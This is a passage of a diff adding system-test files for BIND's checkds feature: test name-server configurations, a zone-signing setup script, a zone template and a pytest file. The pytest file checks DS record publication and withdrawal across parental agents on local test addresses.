+	listen-on-v6 { none; };
+	allow-transfer { any; };
+	recursion no;
+	dnssec-validation no;
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.8 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+zone "ns2" {
+	type secondary;
+	primaries source 10.53.0.8 { 10.53.0.2 port @PORT@; };
+	file "ns2.db";
+};
+
+zone "ns2-4" {
+	type secondary;
+	primaries source 10.53.0.8 { 10.53.0.2 port @PORT@; };
+	file "ns2-4.db";
+};
+
+zone "ns2-4-5" {
+	type secondary;
+	primaries source 10.53.0.8 { 10.53.0.2 port @PORT@; };
+	file "ns2-4-5.db";
+};
+
+zone "ns2-4-6" {
+	type secondary;
+	primaries source 10.53.0.8 { 10.53.0.2 port @PORT@; };
+	file "ns2-4-6.db";
+};
+
+zone "ns2-5-7" {
+	type secondary;
+	primaries source 10.53.0.8 { 10.53.0.2 port @PORT@; };
+	file "ns2-5-7.db";
+};
+
+zone "ns5" {
+	type secondary;
+	primaries source 10.53.0.8 { 10.53.0.2 port @PORT@; };
+	file "ns5.db";
+};
+
+zone "ns5-6-7" {
+	type secondary;
+	primaries source 10.53.0.8 { 10.53.0.2 port @PORT@; };
+	file "ns5-6-7.db";
+};
+
+zone "ns5-7" {
+	type secondary;
+	primaries source 10.53.0.8 { 10.53.0.2 port @PORT@; };
+	file "ns5-7.db";
+};
+
+zone "ns6" {
+	type secondary;
+	primaries source 10.53.0.8 { 10.53.0.2 port @PORT@; };
+	file "ns6.db";
+};
diff --git a/bin/tests/system/checkds/ns9/named.conf.in b/bin/tests/system/checkds/ns9/named.conf.in
new file mode 100644
index 0000000000..54dea08527
--- /dev/null
+++ b/bin/tests/system/checkds/ns9/named.conf.in
@@ -0,0 +1,395 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+// NS9
+
+include "trusted.conf";
+
+options {
+	query-source address 10.53.0.9;
+	notify-source 10.53.0.9;
+	transfer-source 10.53.0.9;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.9; };
+	listen-on-v6 { none; };
+	allow-transfer { any; };
+	recursion no;
+	dnssec-validation yes;
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.9 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+parental-agents "ns8" port @PORT@ {
+	10.53.0.8;
+};
+
+zone "." {
+	type hint;
+	file "../../common/root.hint";
+};
+
+/*
+ * 1.     Enabling DNSSEC
+ * 1.1    - With one parental agent
+ * 1.1.1. - DS is correctly published in the parent.
+ */
+zone "good.explicit.dspublish.ns2" {
+	type primary;
+	file "good.explicit.dspublish.ns2.db";
+	dnssec-policy "default";
+	parental-agents { 10.53.0.8 port @PORT@; };
+};
+
+/* Same as above, but now with a reference to parental-agents. */
+zone "reference.explicit.dspublish.ns2" {
+	type primary;
+	file "reference.explicit.dspublish.ns2.db";
+	dnssec-policy "default";
+	parental-agents { "ns8"; };
+};
+
+/* Same as above, but now with resolver parental agent configured. */
+zone "resolver.explicit.dspublish.ns2" {
+	type primary;
+	file "resolver.explicit.dspublish.ns2.db";
+	dnssec-policy "default";
+	parental-agents {
+		10.53.0.3 port @PORT@;
+	};
+};
+
+/* Same as above, but now with auto parental agents. */
+zone "good.yes.dspublish.ns2" {
+	type primary;
+	file "good.yes.dspublish.ns2.db";
+	dnssec-policy "default";
+};
+
+/* Same as above, but with checkds disabled. */
+zone "good.no.dspublish.ns2" {
+	type primary;
+	file "good.no.dspublish.ns2.db";
+	dnssec-policy "default";
+	checkds no;
+};
+
+/* Same as auto parental agents, but now without empty non-terminals. */
+zone "no-ent.ns2" {
+	type primary;
+	file "no-ent.ns2.db";
+	dnssec-policy "default";
+};
+
+/*
+ * 1.     Enabling DNSSEC
+ * 1.1    - With one parental agent
+ * 1.1.2. - DS is not (yet) published in the parent.
+ */
+zone "not-yet.explicit.dspublish.ns5" {
+	type primary;
+	file "not-yet.explicit.dspublish.ns5.db";
+	dnssec-policy "default";
+	parental-agents {
+		10.53.0.5 port @PORT@; // missing
+	};
+};
+
+zone "not-yet.yes.dspublish.ns5" {
+	type primary;
+	file "not-yet.yes.dspublish.ns5.db";
+	dnssec-policy "default";
+};
+
+/*
+ * 1.     Enabling DNSSEC
+ * 1.1    - With one parental agent
+ * 1.1.3. - The parental agent is badly configured.
+ */
+zone "bad.explicit.dspublish.ns6" {
+	type primary;
+	file "bad.explicit.dspublish.ns6.db";
+	dnssec-policy "default";
+	parental-agents {
+		10.53.0.6 port @PORT@; // bad
+	};
+};
+
+zone "bad.yes.dspublish.ns6" {
+	type primary;
+	file "bad.yes.dspublish.ns6.db";
+	dnssec-policy "default";
+};
+
+/*
+ * 1.     Enabling DNSSEC
+ * 1.1    - With one parental agent
+ * 1.1.4. - DS is published, but has bogus signature
+ */
+// TODO
+
+/*
+ * 1.     Enabling DNSSEC
+ * 1.2    - With multiple parental agent
+ * 1.2.1. - DS is correctly published in all parents.
+ */
+zone "good.explicit.dspublish.ns2-4" {
+	type primary;
+	file "good.explicit.dspublish.ns2-4.db";
+	dnssec-policy "default";
+	parental-agents {
+		10.53.0.8 port @PORT@;
+		10.53.0.4 port @PORT@;
+	};
+};
+
+zone "good.yes.dspublish.ns2-4" {
+	type primary;
+	file "good.yes.dspublish.ns2-4.db";
+	dnssec-policy "default";
+};
+
+zone "good.no.dspublish.ns2-4" {
+	type primary;
+	file "good.no.dspublish.ns2-4.db";
+	dnssec-policy "default";
+	checkds no;
+};
+
+/*
+ * 1.     Enabling DNSSEC
+ * 1.2    - With multiple parental agent
+ * 1.2.2. - DS is not (yet) published in some parents.
+ */
+zone "incomplete.explicit.dspublish.ns2-4-5" {
+	type primary;
+	file "incomplete.explicit.dspublish.ns2-4-5.db";
+	dnssec-policy "default";
+	parental-agents {
+		10.53.0.8 port @PORT@;
+		10.53.0.4 port @PORT@;
+		10.53.0.5 port @PORT@; // missing
+	};
+};
+
+zone "incomplete.yes.dspublish.ns2-4-5" {
+	type primary;
+	file "incomplete.yes.dspublish.ns2-4-5.db";
+	dnssec-policy "default";
+};
+
+/*
+ * 1.     Enabling DNSSEC
+ * 1.2    - With multiple parental agent
+ * 1.2.3. - DS is not (yet) published in some parents.
+ */
+zone "bad.explicit.dspublish.ns2-4-6" {
+	type primary;
+	file "bad.explicit.dspublish.ns2-4-6.db";
+	dnssec-policy "default";
+	parental-agents {
+		10.53.0.8 port @PORT@;
+		10.53.0.4 port @PORT@;
+		10.53.0.6 port @PORT@; // bad
+	};
+};
+
+zone "bad.yes.dspublish.ns2-4-6" {
+	type primary;
+	file "bad.yes.dspublish.ns2-4-6.db";
+	dnssec-policy "default";
+};
+
+/*
+ * 1.     Enabling DNSSEC
+ * 1.2    - With multiple parental agent
+ * 1.2.4. - DS is completely published, bogus signature.
+ */
+// TODO
+
+// TODO: Other test cases:
+// - check with TSIG
+// - check with TLS
+
+/*
+ * 2.     Going insecure
+ * 2.1    - With one parental agent
+ * 2.1.1. - DS is correctly withdrawn from the parent.
+ */
+zone "good.explicit.dsremoved.ns5" {
+	type primary;
+	file "good.explicit.dsremoved.ns5.db";
+	dnssec-policy "insecure";
+	parental-agents { 10.53.0.10 port @PORT@; };
+};
+
+zone "resolver.explicit.dsremoved.ns5" {
+	type primary;
+	file "resolver.explicit.dsremoved.ns5.db";
+	dnssec-policy "default";
+	parental-agents {
+		10.53.0.3 port @PORT@;
+	};
+};
+
+zone "good.yes.dsremoved.ns5" {
+	type primary;
+	file "good.yes.dsremoved.ns5.db";
+	dnssec-policy "insecure";
+};
+
+zone "good.no.dsremoved.ns5" {
+	type primary;
+	file "good.no.dsremoved.ns5.db";
+	dnssec-policy "insecure";
+	checkds no;
+};
+
+zone "no-ent.ns5" {
+	type primary;
+	file "no-ent.ns5.db";
+	dnssec-policy "default";
+};
+
+/*
+ * 2.     Going insecure
+ * 2.1    - With one parental agent
+ * 2.1.2. - DS is (still) published in the parent.
+ */
+zone "still-there.explicit.dsremoved.ns2" {
+	type primary;
+	file "still-there.explicit.dsremoved.ns2.db";
+	dnssec-policy "insecure";
+	parental-agents {
+		10.53.0.2 port @PORT@; // still published
+	};
+};
+
+zone "still-there.yes.dsremoved.ns2" {
+	type primary;
+	file "still-there.yes.dsremoved.ns2.db";
+	dnssec-policy "insecure";
+};
+
+/*
+ * 2.     Going insecure
+ * 2.1    - With one parental agent
+ * 2.1.3. - The parental agent is badly configured.
+ */
+zone "bad.explicit.dsremoved.ns6" {
+	type primary;
+	file "bad.explicit.dsremoved.ns6.db";
+	dnssec-policy "insecure";
+	parental-agents {
+		10.53.0.6 port @PORT@; // bad
+	};
+};
+
+zone "bad.yes.dsremoved.ns6" {
+	type primary;
+	file "bad.yes.dsremoved.ns6.db";
+	dnssec-policy "insecure";
+};
+
+/*
+ * 2.     Going insecure
+ * 2.1    - With one parental agent
+ * 2.1.4. - DS is withdrawn, but has bogus signature.
+ */
+// TODO
+
+/*
+ * 2.     Going insecure
+ * 2.2.    - With multiple parental agents
+ * 2.2.1.  - DS is correctly withdrawn from all parents.
+ */
+zone "good.explicit.dsremoved.ns5-7" {
+	type primary;
+	file "good.explicit.dsremoved.ns5-7.db";
+	dnssec-policy "insecure";
+	parental-agents {
+		10.53.0.10 port @PORT@;
+		10.53.0.7 port @PORT@;
+	};
+};
+
+zone "good.yes.dsremoved.ns5-7" {
+	type primary;
+	file "good.yes.dsremoved.ns5-7.db";
+	dnssec-policy "insecure";
+};
+
+zone "good.no.dsremoved.ns5-7" {
+	type primary;
+	file "good.no.dsremoved.ns5-7.db";
+	dnssec-policy "insecure";
+	checkds no;
+};
+
+/*
+ * 2.     Going insecure
+ * 2.2.    - With multiple parental agents
+ * 2.2.2.  - DS is not (yet) withdrawn from some parents.
+ */
+zone "incomplete.explicit.dsremoved.ns2-5-7" {
+	type primary;
+	file "incomplete.explicit.dsremoved.ns2-5-7.db";
+	dnssec-policy "insecure";
+	parental-agents {
+		10.53.0.2 port @PORT@; // still published
+		10.53.0.10 port @PORT@;
+		10.53.0.7 port @PORT@;
+	};
+};
+
+zone "incomplete.yes.dsremoved.ns2-5-7" {
+	type primary;
+	file "incomplete.yes.dsremoved.ns2-5-7.db";
+	dnssec-policy "insecure";
+};
+
+/*
+ * 2.     Going insecure
+ * 2.2.    - With multiple parental agents
+ * 2.2.3.  - One parental agent is badly configured.
+ */
+zone "bad.explicit.dsremoved.ns5-6-7" {
+	type primary;
+	file "bad.explicit.dsremoved.ns5-6-7.db";
+	dnssec-policy "insecure";
+	parental-agents {
+		10.53.0.10 port @PORT@;
+		10.53.0.7 port @PORT@;
+		10.53.0.6 port @PORT@; // bad
+	};
+};
+
+zone "bad.yes.dsremoved.ns5-6-7" {
+	type primary;
+	file "bad.yes.dsremoved.ns5-6-7.db";
+	dnssec-policy "insecure";
+};
+
+/*
+ * 2.     Going insecure
+ * 2.2.    - With multiple parental agents
+ * 2.2.4.  - DS is removed completely, bogus signature
+ */
+// TODO
diff --git a/bin/tests/system/checkds/ns9/setup.sh b/bin/tests/system/checkds/ns9/setup.sh
new file mode 100644
index 0000000000..d3ea25dee9
--- /dev/null
+++ b/bin/tests/system/checkds/ns9/setup.sh
@@ -0,0 +1,98 @@
+#!/bin/sh -e
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+# shellcheck source=conf.sh
+. ../../conf.sh
+
+echo_i "ns9/setup.sh"
+
+setup() {
+	zone="$1"
+	echo_i "setting up zone: $zone"
+	zonefile="${zone}.db"
+	infile="${zone}.db.infile"
+	echo "$zone" >> zones
+}
+
+sign_dspublish() {
+	cp template.db.in "$zonefile"
+	keytimes="-P $T -P sync $T -A $T"
+	CSK=$($KEYGEN -k default $keytimes $zone 2> keygen.out.$zone)
+	$SETTIME -s -g $O -k $O $T -r $O $T -z $O $T -d $R $T "$CSK" > settime.out.$zone 2>&1
+	cat "$zonefile" "${CSK}.key" > "$infile"
+	private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK" >> "$infile"
+	cp $infile $zonefile
+	$SIGNER -S -z -x -s now-1h -e now+30d -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
+        cp "dsset-${zone}." ../ns2/
+}
+
+sign_dsremoved() {
+	cp template.db.in "$zonefile"
+	keytimes="-P $Y -P sync $Y -A $Y"
+	CSK=$($KEYGEN -k default $keytimes $zone 2> keygen.out.$zone)
+	$SETTIME -s -g $H -k $O $T -r $O $T -z $O $T -d $U $T "$CSK" > settime.out.$zone 2>&1
+	cat "$zonefile" "${CSK}.key" > "$infile"
+	private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK" >> "$infile"
+	cp $infile $zonefile
+	$SIGNER -S -z -x -s now-1h -e now+30d -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
+        cp "dsset-${zone}." ../ns2/
+}
+
+# Short environment variable names for key states and times.
+H="HIDDEN"
+R="RUMOURED"
+O="OMNIPRESENT"
+U="UNRETENTIVE"
+T="now-30d"
+Y="now-1y"
+
+# DS Publication.
+for checkds in explicit yes no
+do
+	for zn in \
+		good.${checkds}.dspublish.ns2 \
+		reference.${checkds}.dspublish.ns2 \
+		resolver.${checkds}.dspublish.ns2 \
+		not-yet.${checkds}.dspublish.ns5 \
+		bad.${checkds}.dspublish.ns6 \
+		good.${checkds}.dspublish.ns2-4 \
+		incomplete.${checkds}.dspublish.ns2-4-5 \
+		bad.${checkds}.dspublish.ns2-4-6
+	do
+		setup "${zn}"
+		sign_dspublish
+	done
+done
+
+# DS Withdrawal.
+for checkds in explicit yes no
+do
+	for zn in \
+		good.${checkds}.dsremoved.ns5 \
+		resolver.${checkds}.dsremoved.ns5 \
+		still-there.${checkds}.dsremoved.ns2 \
+		bad.${checkds}.dsremoved.ns6 \
+		good.${checkds}.dsremoved.ns5-7 \
+		incomplete.${checkds}.dsremoved.ns2-5-7 \
+		bad.${checkds}.dsremoved.ns5-6-7
+	do
+		setup "${zn}"
+		sign_dsremoved
+	done
+done
+
+setup "no-ent.ns2"
+sign_dspublish
+
+setup "no-ent.ns5"
+sign_dsremoved
diff --git a/bin/tests/system/checkds/ns9/template.db.in b/bin/tests/system/checkds/ns9/template.db.in
new file mode 100644
index 0000000000..cf0601502e
--- /dev/null
+++ b/bin/tests/system/checkds/ns9/template.db.in
@@ -0,0 +1,27 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@		IN	SOA  mname1. . (
+			1       ; serial
+			20      ; refresh (20 seconds)
+			20      ; retry (20 seconds)
+			1814400 ; expire (3 weeks)
+			3600    ; minimum (1 hour)
+			)
+
+			NS	ns9
+ns9			A	10.53.0.9
+
+a			A	10.0.0.1
+b			A	10.0.0.2
+c			A	10.0.0.3
+
diff --git a/bin/tests/system/checkds/setup.sh b/bin/tests/system/checkds/setup.sh
new file mode 100644
index 0000000000..828b2e6ace
--- /dev/null
+++ b/bin/tests/system/checkds/setup.sh
@@ -0,0 +1,48 @@
+#!/bin/sh -e
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+# shellcheck source=conf.sh
+. ../conf.sh
+
+set -e
+
+$SHELL clean.sh
+
+copy_setports ns1/named.conf.in ns1/named.conf
+copy_setports ns2/named.conf.in ns2/named.conf
+copy_setports ns3/named.conf.in ns3/named.conf
+copy_setports ns4/named.conf.in ns4/named.conf
+copy_setports ns5/named.conf.in ns5/named.conf
+copy_setports ns6/named.conf.in ns6/named.conf
+copy_setports ns7/named.conf.in ns7/named.conf
+copy_setports ns8/named.conf.in ns8/named.conf
+copy_setports ns9/named.conf.in ns9/named.conf
+copy_setports ns10/named.conf.in ns10/named.conf
+
+# Setup zones
+(
+	cd ns9
+	$SHELL setup.sh
+)
+(
+	cd ns5
+	$SHELL setup.sh
+)
+(
+	cd ns2
+	$SHELL setup.sh
+)
+(
+	cd ns1
+	$SHELL setup.sh
+)
diff --git a/bin/tests/system/checkds/tests_checkds.py b/bin/tests/system/checkds/tests_checkds.py
new file mode 100755
index 0000000000..99c91c6168
--- /dev/null
+++ b/bin/tests/system/checkds/tests_checkds.py
@@ -0,0 +1,674 @@
+#!/usr/bin/python3
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+import mmap
+import os
+import subprocess
+import sys
+import time
+
+import pytest
+
+pytest.importorskip("dns", minversion="2.0.0")
+import dns.exception
+import dns.message
+import dns.name
+import dns.query
+import dns.rcode
+import dns.rdataclass
+import dns.rdatatype
+import dns.resolver
+
+
+pytestmark = pytest.mark.skipif(
+    sys.version_info < (3, 7), reason="Python >= 3.7 required [GL #3001]"
+)
+
+
+def has_signed_apex_nsec(zone, response):
+    has_nsec = False
+    has_rrsig = False
+
+    ttl = 300
+    nextname = "a."
+    labelcount = zone.count(".")  # zone is specified as FQDN
+    types = "NS SOA RRSIG NSEC DNSKEY"
+    match = "{0} {1} IN NSEC {2}{0} {3}".format(zone, ttl, nextname, types)
+    sig = "{0} {1} IN RRSIG NSEC 13 {2} 300".format(zone, ttl, labelcount)
+
+    for rr in response.answer:
+        if match in rr.to_text():
+            has_nsec = True
+        if sig in rr.to_text():
+            has_rrsig = True
+
+    if not has_nsec:
+        print("error: missing apex NSEC record in response")
+    if not has_rrsig:
+        print("error: missing NSEC signature in response")
+
+    return has_nsec and has_rrsig
+
+
+def do_query(server, qname, qtype, tcp=False):
+    query = dns.message.make_query(qname, qtype, use_edns=True, want_dnssec=True)
+    try:
+        if tcp:
+            response = dns.query.tcp(
+                query, server.nameservers[0], timeout=3, port=server.port
+            )
+        else:
+            response = dns.query.udp(
+                query, server.nameservers[0], timeout=3, port=server.port
+            )
+    except dns.exception.Timeout:
+        print(
+            "error: query timeout for query {} {} to {}".format(
+                qname, qtype, server.nameservers[0]
+            )
+        )
+        return None
+
+    return response
+
+
+def verify_zone(zone, transfer):
+    verify = os.getenv("VERIFY")
+    assert verify is not None
+
+    filename = "{}out".format(zone)
+    with open(filename, "w", encoding="utf-8") as file:
+        for rr in transfer.answer:
+            file.write(rr.to_text())
+            file.write("\n")
+
+    # dnssec-verify command with default arguments.
+    verify_cmd = [verify, "-z", "-o", zone, filename]
+
+    verifier = subprocess.run(verify_cmd, capture_output=True, check=True)
+
+    if verifier.returncode != 0:
+        print("error: dnssec-verify {} failed".format(zone))
+        sys.stderr.buffer.write(verifier.stderr)
+
+    return verifier.returncode == 0
+
+
+def read_statefile(server, zone):
+    addr = server.nameservers[0]
+    count = 0
+    keyid = 0
+    state = {}
+
+    response = do_query(server, zone, "DS", tcp=True)
+    if not isinstance(response, dns.message.Message):
+        print("error: no response for {} DS from {}".format(zone, addr))
+        return {}
+
+    if response.rcode() == dns.rcode.NOERROR:
+        # fetch key id from response.
+        for rr in response.answer:
+            if rr.match(
+                dns.name.from_text(zone),
+                dns.rdataclass.IN,
+                dns.rdatatype.DS,
+                dns.rdatatype.NONE,
+            ):
+                if count == 0:
+                    keyid = list(dict(rr.items).items())[0][0].key_tag
+                count += 1
+
+        if count != 1:
+            print(
+                "error: expected a single DS in response for {} from {},"
+                "got {}".format(zone, addr, count)
+            )
+            return {}
+    else:
+        print(
+            "error: {} response for {} DNSKEY from {}".format(
+                dns.rcode.to_text(response.rcode()), zone, addr
+            )
+        )
+        return {}
+
+    filename = "ns9/K{}+013+{:05d}.state".format(zone, keyid)
+    print("read state file {}".format(filename))
+
+    try:
+        with open(filename, "r", encoding="utf-8") as file:
+            for line in file:
+                if line.startswith(";"):
+                    continue
+                key, val = line.strip().split(":", 1)
+                state[key.strip()] = val.strip()
+
+    except FileNotFoundError:
+        # file may not be written just yet.
+        return {}
+
+    return state
+
+
+def zone_check(server, zone):
+    addr = server.nameservers[0]
+    fqdn = "{}.".format(zone)
+
+    # wait until zone is fully signed.
+    signed = False
+    for _ in range(10):
+        response = do_query(server, fqdn, "NSEC")
+        if not isinstance(response, dns.message.Message):
+            print("error: no response for {} NSEC from {}".format(fqdn, addr))
+        elif response.rcode() == dns.rcode.NOERROR:
+            signed = has_signed_apex_nsec(fqdn, response)
+        else:
+            print(
+                "error: {} response for {} NSEC from {}".format(
+                    dns.rcode.to_text(response.rcode()), fqdn, addr
+                )
+            )
+
+        if signed:
+            break
+
+        time.sleep(1)
+
+    assert signed
+
+    # check if zone if DNSSEC valid.
+    verified = False
+    transfer = do_query(server, fqdn, "AXFR", tcp=True)
+    if not isinstance(transfer, dns.message.Message):
+        print("error: no response for {} AXFR from {}".format(fqdn, addr))
+    elif transfer.rcode() == dns.rcode.NOERROR:
+        verified = verify_zone(fqdn, transfer)
+    else:
+        print(
+            "error: {} response for {} AXFR from {}".format(
+                dns.rcode.to_text(transfer.rcode()), fqdn, addr
+            )
+        )
+
+    assert verified
+
+
+def keystate_check(server, zone, key):
+    fqdn = "{}.".format(zone)
+    val = 0
+    deny = False
+
+    search = key
+    if key.startswith("!"):
+        deny = True
+        search = key[1:]
+
+    for _ in range(10):
+        state = read_statefile(server, fqdn)
+        try:
+            val = state[search]
+        except KeyError:
+            pass
+
+        if not deny and val != 0:
+            break
+        if deny and val == 0:
+            break
+
+        time.sleep(1)
+
+    if deny:
+        assert val == 0
+    else:
+        assert val != 0
+
+
+def rekey(zone):
+    rndc = os.getenv("RNDC")
+    assert rndc is not None
+
+    port = os.getenv("CONTROLPORT")
+    assert port is not None
+
+    # rndc loadkeys.
+    rndc_cmd = [
+        rndc,
+        "-c",
+        "../common/rndc.conf",
+        "-p",
+        port,
+        "-s",
+        "10.53.0.9",
+        "loadkeys",
+        zone,
+    ]
+    controller = subprocess.run(rndc_cmd, capture_output=True, check=True)
+
+    if controller.returncode != 0:
+        print("error: rndc loadkeys {} failed".format(zone))
+        sys.stderr.buffer.write(controller.stderr)
+
+    assert controller.returncode == 0
+
+
+def wait_for_log(filename, zone, log):
+    found = False
+
+    for _ in range(10):
+        print("read log file {}".format(filename))
+
+        try:
+            with open(filename, "r", encoding="utf-8") as file:
+                s = mmap.mmap(file.fileno(), 0, access=mmap.ACCESS_READ)
+                if s.find(bytes(log, "ascii")) != -1:
+                    found = True
+        except FileNotFoundError:
+            print("file not found {}".format(filename))
+
+        if found:
+            break
+
+        print("rekey")
+        rekey(zone)
+
+        print("sleep")
+        time.sleep(1)
+
+    assert found
+
+
+def checkds_dspublished(named_port, checkds, addr):
+    # We create resolver instances that will be used to send queries.
+    server = dns.resolver.Resolver()
+    server.nameservers = ["10.53.0.9"]
+    server.port = named_port
+
+    parent = dns.resolver.Resolver()
+    parent.nameservers = ["10.53.0.2"]
+    parent.port = named_port
+
+    #
+    # 1.1.1: DS is correctly published in parent.
+    # parental-agents: ns2
+    #
+
+    # The simple case.
+    zone = "good.{}.dspublish.ns2".format(checkds)
+    zone_check(server, zone)
+    wait_for_log(
+        "ns9/named.run",
+        zone,
+        "zone {}/IN (signed): checkds: DS response from {}".format(zone, addr),
+    )
+    keystate_check(parent, zone, "DSPublish")
+
+    #
+    # 1.1.2: DS is not published in parent.
+    # parental-agents: ns5
+    #
+    zone = "not-yet.{}.dspublish.ns5".format(checkds)
+    zone_check(server, zone)
+    wait_for_log(
+        "ns9/named.run",
+        zone,
+        "zone {}/IN (signed): checkds: empty DS response from 10.53.0.5".format(zone),
+    )
+    keystate_check(parent, zone, "!DSPublish")
+
+    #
+    # 1.1.3: The parental agent is badly configured.
+    # parental-agents: ns6
+    #
+    zone = "bad.{}.dspublish.ns6".format(checkds)
+    zone_check(server, zone)
+    if checkds == "explicit":
+        wait_for_log(
+            "ns9/named.run",
+            zone,
+            "zone {}/IN (signed): checkds: bad DS response from 10.53.0.6".format(zone),
+        )
+    elif checkds == "yes":
+        wait_for_log(
+            "ns9/named.run",
+            zone,
+            "zone {}/IN (signed): checkds: error during parental-agents processing".format(
+                zone
+            ),
+        )
+    keystate_check(parent, zone, "!DSPublish")
+
+    #
+    # 1.1.4: DS is published, but has bogus signature.
+    #
+    # TBD
+
+    #
+    # 1.2.1: DS is correctly published in all parents.
+    # parental-agents: ns2, ns4
+    #
+    zone = "good.{}.dspublish.ns2-4".format(checkds)
+    zone_check(server, zone)
+    wait_for_log(
+        "ns9/named.run",
+        zone,
+        "zone {}/IN (signed): checkds: DS response from {}".format(zone, addr),
+    )
+    wait_for_log(
+        "ns9/named.run",
+        zone,
+        "zone {}/IN (signed): checkds: DS response from 10.53.0.4".format(zone),
+    )
+    keystate_check(parent, zone, "DSPublish")
+
+    #
+    # 1.2.2: DS is not published in some parents.
+    # parental-agents: ns2, ns4, ns5
+    #
+    zone = "incomplete.{}.dspublish.ns2-4-5".format(checkds)
+    zone_check(server, zone)
+    wait_for_log(
+        "ns9/named.run",
+        zone,
+        "zone {}/IN (signed): checkds: DS response from {}".format(zone, addr),
+    )
+    wait_for_log(
+        "ns9/named.run",
+        zone,
+        "zone {}/IN (signed): checkds: DS response from 10.53.0.4".format(zone),
+    )
+    wait_for_log(
+        "ns9/named.run",
+        zone,
+        "zone {}/IN (signed): checkds: empty DS response from 10.53.0.5".format(zone),
+    )
+    keystate_check(parent, zone, "!DSPublish")
+
+    #
+    # 1.2.3: One parental agent is badly configured.
+    # parental-agents: ns2, ns4, ns6
+    #
+    zone = "bad.{}.dspublish.ns2-4-6".format(checkds)
+    zone_check(server, zone)
+    wait_for_log(
+        "ns9/named.run",
+        zone,
+        "zone {}/IN (signed): checkds: DS response from {}".format(zone, addr),
+    )
+    wait_for_log(
+        "ns9/named.run",
+        zone,
+        "zone {}/IN (signed): checkds: DS response from 10.53.0.4".format(zone),
+    )
+    wait_for_log(
+        "ns9/named.run",
+        zone,
+        "zone {}/IN (signed): checkds: bad DS response from 10.53.0.6".format(zone),
+    )
+    keystate_check(parent, zone, "!DSPublish")
+
+    #
+    # 1.2.4: DS is completely published, bogus signature.
+    #
+    # TBD
+
+    # TBD: Check with TSIG
+    # TBD: Check with TLS
+
+
+def checkds_dswithdrawn(named_port, checkds, addr):
+    # We create resolver instances that will be used to send queries.
+    server = dns.resolver.Resolver()
+    server.nameservers = ["10.53.0.9"]
+    server.port = named_port
+
+    parent = dns.resolver.Resolver()
+    parent.nameservers = ["10.53.0.2"]
+    parent.port = named_port
+
+    #
+    # 2.1.1: DS correctly withdrawn from the parent.
+    # parental-agents: ns5
+    #
+
+    # The simple case.
+    zone = "good.{}.dsremoved.ns5".format(checkds)
+    zone_check(server, zone)
+    wait_for_log(
+        "ns9/named.run",
+        zone,
+        "zone {}/IN (signed): checkds: empty DS response from {}".format(zone, addr),
+    )
+    keystate_check(parent, zone, "DSRemoved")
+
+    #
+    # 2.1.2: DS is published in the parent.
+    # parental-agents: ns2
+    #
+    zone = "still-there.{}.dsremoved.ns2".format(checkds)
+    zone_check(server, zone)
+    wait_for_log(
+        "ns9/named.run",
+        zone,
+        "zone {}/IN (signed): checkds: DS response from 10.53.0.2".format(zone),
+    )
+    keystate_check(parent, zone, "!DSRemoved")
+
+    #
+    # 2.1.3: The parental agent is badly configured.
+    # parental-agents: ns6
+    #
+    zone = "bad.{}.dsremoved.ns6".format(checkds)
+    zone_check(server, zone)
+    if checkds == "explicit":
+        wait_for_log(
+            "ns9/named.run",
+            zone,
+            "zone {}/IN (signed): checkds: bad DS response from 10.53.0.6".format(zone),
+        )
+    elif checkds == "yes":
+        wait_for_log(
+            "ns9/named.run",
+            zone,
+            "zone {}/IN (signed): checkds: error during parental-agents processing".format(
+                zone
+            ),
+        )
+    keystate_check(parent, zone, "!DSRemoved")
+
+    #
+    # 2.1.4: DS is withdrawn, but has bogus signature.
+    #
+    # TBD
+
+    #
+    # 2.2.1: DS is correctly withdrawn from all parents.
+    # parental-agents: ns5, ns7
+    #
+    zone = "good.{}.dsremoved.ns5-7".format(checkds)
+    zone_check(server, zone)
+    wait_for_log(
+        "ns9/named.run",
+        zone,
+        "zone {}/IN (signed): checkds: empty DS response from {}".format(zone, addr),
+    )
+    wait_for_log(
+        "ns9/named.run",
+        zone,
+        "zone {}/IN (signed): checkds: empty DS response from 10.53.0.7".format(zone),
+    )
